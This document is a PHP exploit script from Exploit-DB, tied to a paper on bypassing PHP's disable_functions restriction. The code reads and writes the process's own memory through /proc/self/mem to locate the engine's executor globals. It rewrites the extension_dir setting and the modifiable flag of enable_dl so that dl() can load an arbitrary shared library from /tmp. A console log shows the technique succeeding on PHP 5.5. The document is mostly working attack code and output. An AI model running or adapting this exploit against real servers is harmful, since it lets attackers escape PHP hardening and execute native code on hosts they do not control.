<?php
// EDB Note: Paper https://www.exploit-db.com/docs/english/38104-shoot-zend_executor_globals-to-bypass-php-disable_functions.pdf
error_reporting(0x66778899);
set_time_limit(0x41424344);
define('ZEND_INI_USER', (1<<0));
define('ZEND_INI_PERDIR', (1<<1));
define('ZEND_INI_SYSTEM', (1<<2));
/*
00df9000-00e16000 rw-p 00000000 00:00 0
017ff000-01a51000 rw-p 00000000 00:00 0 [heap]
error_reporting(0x66778899);
typedef struct bucket {
ulong h; /\* Used for numeric indexing *\/
uint nKeyLength;
void *pData;
void *pDataPtr;
struct bucket *pListNext;
struct bucket *pListLast;
struct bucket *pNext;
struct bucket *pLast;
const char *arKey;
} Bucket;
typedef struct _hashtable {
uint nTableSize;
uint nTableMask;
uint nNumOfElements;
ulong nNextFreeElement;
Bucket *pInternalPointer; /\* Used for element traversal *\/
Bucket *pListHead;
Bucket *pListTail;
Bucket **arBuckets;
dtor_func_t pDestructor; //pointer
zend_bool persistent;
unsigned char nApplyCount;
zend_bool bApplyProtection;
#if ZEND_DEBUG
int inconsistent;
#endif
} HashTable;
struct _zend_executor_globals {
zval **return_value_ptr_ptr;
zval uninitialized_zval;
zval *uninitialized_zval_ptr;
zval error_zval;
zval *error_zval_ptr;
zend_ptr_stack arg_types_stack;
/\* symbol table cache *\/
HashTable *symtable_cache[SYMTABLE_CACHE_SIZE];
HashTable **symtable_cache_limit;
HashTable **symtable_cache_ptr;
zend_op **opline_ptr;
HashTable *active_symbol_table;
HashTable symbol_table; /\* main symbol table *\/
HashTable included_files; /\* files already included *\/
JMP_BUF *bailout;
int error_reporting;
int orig_error_reporting;
int exit_status;
zend_op_array *active_op_array;
HashTable *function_table; /\* function symbol table *\/
HashTable *class_table; /\* class table *\/
HashTable *zend_constants; /\* constants table *\/
zend_class_entry *scope;
zend_class_entry *called_scope; /\* Scope of the calling class *\/
zval *This;
long precision;
int ticks_count; //10*8
zend_bool in_execution; //typedef unsigned char zend_bool;
HashTable *in_autoload;
zend_function *autoload_func;
zend_bool full_tables_cleanup;
/\* for extended information support *\/
zend_bool no_extensions;
#ifdef ZEND_WIN32
zend_bool timed_out;
OSVERSIONINFOEX windows_version_info;
#endif
HashTable regular_list;
HashTable persistent_list;
zend_vm_stack argument_stack;
int user_error_handler_error_reporting;
zval *user_error_handler;
zval *user_exception_handler;
zend_stack user_error_handlers_error_reporting;
zend_ptr_stack user_error_handlers;
zend_ptr_stack user_exception_handlers;
zend_error_handling_t error_handling;
zend_class_entry *exception_class;
/\* timeout support *\/
int timeout_seconds;
int lambda_count;
HashTable *ini_directives;
HashTable *modified_ini_directives;
zend_ini_entry *error_reporting_ini_entry;
zend_objects_store objects_store;
zval *exception, *prev_exception;
zend_op *opline_before_exception;
zend_op exception_op[3];
struct _zend_execute_data *current_execute_data;
struct _zend_module_entry *current_module;
zend_property_info std_property_info;
zend_bool active;
zend_op *start_op;
void *saved_fpu_cw_ptr;
#if XPFPA_HAVE_CW
XPFPA_CW_DATATYPE saved_fpu_cw;
#endif
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};
/*
struct _zend_ini_entry {
int module_number;
int modifiable;
char *name;
uint name_length;
ZEND_INI_MH((*on_modify));
void *mh_arg1;
void *mh_arg2;
void *mh_arg3;
char *value;
....
*/
//echo file_get_contents("/proc/self/maps");
$mem = fopen("/proc/self/mem", "rb");
/*
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -r "echo file_get_contents('/proc/self/maps');"
00400000-00bf3000 r-xp 00000000 08:01 4997702 /usr/bin/php5
00df3000-00e94000 r--p 007f3000 08:01 4997702 /usr/bin/php5
00e94000-00ea1000 rw-p 00894000 08:01 4997702 /usr/bin/php5
00ea1000-00ebe000 rw-p 00000000 00:00 0
0278f000-02a65000 rw-p 00000000 00:00 0 [heap]
*/
//set the extension_dir
fseek($mem, 0x00ea1000);
for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4)
{
//echo 'x';
$num = unp(fread($mem, 4));
if($num == 0x66778899)
{
$offset = 0x00ea1000 + $i;
printf("got noe, offset is:0x%x\r\n", $offset);
printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
error_reporting(0x55667788);
fseek($mem, $offset);
$num = unp(fread($mem, 4));
printf("The value is %x\r\n", $num);
if($num == 0x55667788)
{
printf("I found the offset of executor_globals's member error_reporting\r\n");
printf("read the structure\r\n");
fseek($mem, $offset);
fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
$timeout = dump_value($mem, 4);
if($timeout == 0x41424344)
{
error_reporting(E_ALL); //restore the error reporting
printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
dump_value($mem, 4);
$ini_dir = dump_value($mem, 8);
printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
$arBucket = dump_value($mem, 8);
printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
fseek($mem, $arBucket);
//try to get the first Bucket address
for($i = 0;$i < 1000;$i ++)
{
$bucket = dump_value($mem, 8);
//printf("This bucket address maybe in 0x%016x\r\n", $bucket);
fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket
$pdata = dump_value($mem, 8);
dump_value($mem, 8);
//printf("This pData address maybe in 0x%016x\r\n", $pdata);
fseek($mem, $pdata + 8); //seek to char* name;
$name = dump_value($mem, 8);
$name_t = dump_value($mem, 4);
//printf("This char name* address maybe in 0x%016x, length:%d\r\n", $name, $name_t);
fseek($mem, $name);
$strname = fread($mem, $name_t);
if(strlen($strname) == 0) break;
//printf("ini key:%s\r\n", $strname);
if(strncmp($strname, 'extension_dir', 13) == 0)
{
printf("I found the extension_dir offset!\r\n");
printf("try to set extension_dir value /tmp by ini_set\r\n");
ini_set('extension_dir', '/tmp');
printf("try to get extension_dir value by ini_get\r\n");
var_dump(ini_get('extension_dir'));
// write string value
fseek($mem, $pdata + 56); //seek to char* value;
$value = dump_value($mem, 8);
$value_t = dump_value($mem, 4);
printf("This char value* address maybe in 0x%016x, length:%d\r\n", $value, $value_t);
// write data part
$mem_w = fopen("/proc/self/mem", "wb");
fseek($mem_w, $value);
fwrite($mem_w, "/tmp\0", 5); //write /tmp value
printf("retry to get extension_dir value!!!!\r\n");
var_dump(ini_get('extension_dir'));
error_reporting(0x66778899);
break;
}
//seek to struct bucket *pListNext; ready to read next bucket's address
fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast; it's so strage!
}
}
}
else
{
printf("now here, restore the value\r\n");
error_reporting(0x66778899);
}
}
}
//set the enable_dl
fseek($mem, 0x00ea1000);
for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4)
{
$num = unp(fread($mem, 4));
if($num == 0x66778899)
{
$offset = 0x00ea1000 + $i;
printf("got noe, offset is:0x%x\r\n", $offset);
printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
error_reporting(0x55667788);
fseek($mem, $offset);
$num = unp(fread($mem, 4));
printf("The value is %x\r\n", $num);
if($num == 0x55667788)
{
printf("I found the offset of executor_globals's member error_reporting\r\n");
printf("read the structure\r\n");
fseek($mem, $offset);
fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
$timeout = dump_value($mem, 4);
if($timeout == 0x41424344)
{
error_reporting(E_ALL); //restore the error reporting
printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
dump_value($mem, 4);
$ini_dir = dump_value($mem, 8);
printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
$arBucket = dump_value($mem, 8);
printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
fseek($mem, $arBucket);
//try to get the first Bucket address
for($i = 0;$i < 1000;$i ++)
{
$bucket = dump_value($mem, 8);
//printf("This bucket address maybe in 0x%016x\r\n", $bucket);
fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket
$pdata = dump_value($mem, 8);
dump_value($mem, 8);
//printf("This pData address maybe in 0x%016x\r\n", $pdata);
fseek($mem, $pdata + 8); //seek to char* name;
$name = dump_value($mem, 8);
$name_t = dump_value($mem, 4);
//printf("This char name* address maybe in 0x%016x, length:%d\r\n", $name, $name_t);
fseek($mem, $name);
$strname = fread($mem, $name_t);
if(strlen($strname) == 0) break;
//printf("ini key:%s\r\n", $strname);
if(strncmp($strname, 'enable_dl', 9) == 0)
{
printf("I found the enable_dl offset!\r\n");
printf("try to set enable_dl value true by ini_set\r\n");
ini_set('enable_dl', true);
printf("try to get enable_dl value by ini_get\r\n");
var_dump(ini_get('enable_dl'));
printf("try to run dl() function\r\n");
dl('not_exists');
printf("try to modifiy the modifiable member in memory!\r\n");
fseek($mem, $pdata + 4);
$modifiable = dump_value($mem, 4);
printf("org modifiable value is %x\r\n", $modifiable);
$mem_w = fopen("/proc/self/mem", "wb");
fseek($mem_w, $pdata + 4); //seek to modifiable
fwrite($mem_w, packli(7));
//check
fseek($mem, $pdata + 4);
$modifiable = dump_value($mem, 4);
printf("now modifiable value is %x\r\n", $modifiable);
printf("try ini_set enable_dl agen!!!!\r\n");
ini_set('enable_dl', true);
printf("now enable_dl seting is\r\n");
var_dump(ini_get('enable_dl'));
printf("retry the dl() function!!!!\r\n");
ini_set('extension_dir', '/tmp');
dl('not_exists');
exit(0);
}
//seek to struct bucket *pListNext; ready to read next bucket's address
fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast; it's so strage!
}
}
}
else
{
printf("now here, restore the value\r\n");
error_reporting(0x66778899);
}
}
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function dump_value($dh, $flag)
{
switch($flag)
{
case 4: return unp(fread($dh, 4));
case 8: return unp(fread($dh, 8));
}
}
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function packli($value) {
return pack('V', $value);
}
/*
ylbhz@ylbhz-Aspire-5750G:/tmp$ php php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the extension_dir offset!
try to set extension_dir value /tmp by ini_set
try to get extension_dir value by ini_get
string(22) "/usr/lib/php5/20121212"
This char value* address maybe in 0x0000000000b5ea53, length:22
retry to get extension_dir value!!!!
string(4) "/tmp"
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the enable_dl offset!
try to set enable_dl value true by ini_set
try to get enable_dl value by ini_get
string(0) ""
try to run dl() function
PHP Warning: dl(): Dynamically loaded extensions aren't enabled in /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 326
try to modifiy the modifiable member in memory!
org modifiable value is 4
now modifiable value is 7
try ini_set enable_dl agen!!!!
now enable_dl seting is
string(1) "1"
retry the dl() function!!!!
PHP Warning: dl(): Unable to load dynamic library '/tmp/not_exists' - /tmp/not_exists: cannot open shared object file: No such file or directory in /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 345
ylbhz@ylbhz-Aspire-5750G:/tmp$
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -v
PHP 5.5.9-1ubuntu4.9 (cli) (built: Apr 17 2015 11:44:57)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
ylbhz@ylbhz-Aspire-5750G:/tmp$ uname -a
Linux ylbhz-Aspire-5750G 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
*/
?>
